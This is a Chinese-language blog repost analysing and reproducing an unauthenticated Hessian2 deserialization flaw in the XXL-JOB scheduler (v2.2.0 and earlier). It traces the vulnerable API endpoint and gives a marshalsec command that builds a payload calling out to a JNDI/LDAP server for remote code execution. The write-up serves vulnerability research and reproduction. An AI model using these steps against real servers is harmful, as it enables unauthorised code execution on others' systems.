记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现

2021-11-01 09:46

引言

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通过相关利用链结合JNDI注入实现RCE。

环境构建

0x01 MySQL数据库配置

wget https://raw.githubusercontent.com/xuxueli/xxl-job/2.0.2/doc/db/tables_xxl_job.sql

导入数据库:

0x02 XXL-JOB配置

wget https://github.com/xuxueli/xxl-job/archive/2.0.2.zip

修改配置(`\xxl-job-2.0.2\xxl-job-admin\src\main\resources\application.properties`):

将源代码放入idea,直接可以启动:

源码分析

定位问题接口`JobApiController#api`

`@PermessionLimit(limit=false)`说明该接口访问不需要认证。跟进`invokeAdminService`,一直跟到`parseRequest`:

存在Hessian2反序列化漏洞。

漏洞复现

目前Hessian公开的利用链主要如下:

显然适用于本案例的就是`Spring AOP`,需要结合JNDI注入,但是JDK版本较高,无法远程加载恶意类。不过由于XXL-JOB默认运行在Tomcat之上,可以利用本地的工厂类进行RCE。这里利用rogue-jndi来进行利用:

rogue-jndi
https://github.com/veracode-research/rogue-jndi

0x01 启动JNDI服务

0x02 生成Payload

可利用`marshalsec`直接生成:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://***:1389/o=tomcat > calc.ser

0x03 发送数据包

替换数据包的POST部分,发送即可复现漏洞:

参考

https://github.com/xuxueli/xxl-job

http://itliusir.com/2018/scheduler-xxl-job/

https://github.com/veracode-research/rogue-jndi

https://github.com/mbechler/marshalsec


知识来源: https://www.wangan.com/p/7fygf385df8a3b48

阅读:87705 | 评论:0 | 标签:漏洞 序列化 分析

想收藏或者和大家分享这篇好文章→复制链接地址

“一步一步教你漏洞挖掘之XXL-JOB 未授权 Hessian2反序列化漏洞分析与复现”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求投资、赞助、支持💖

标签云

本页关键词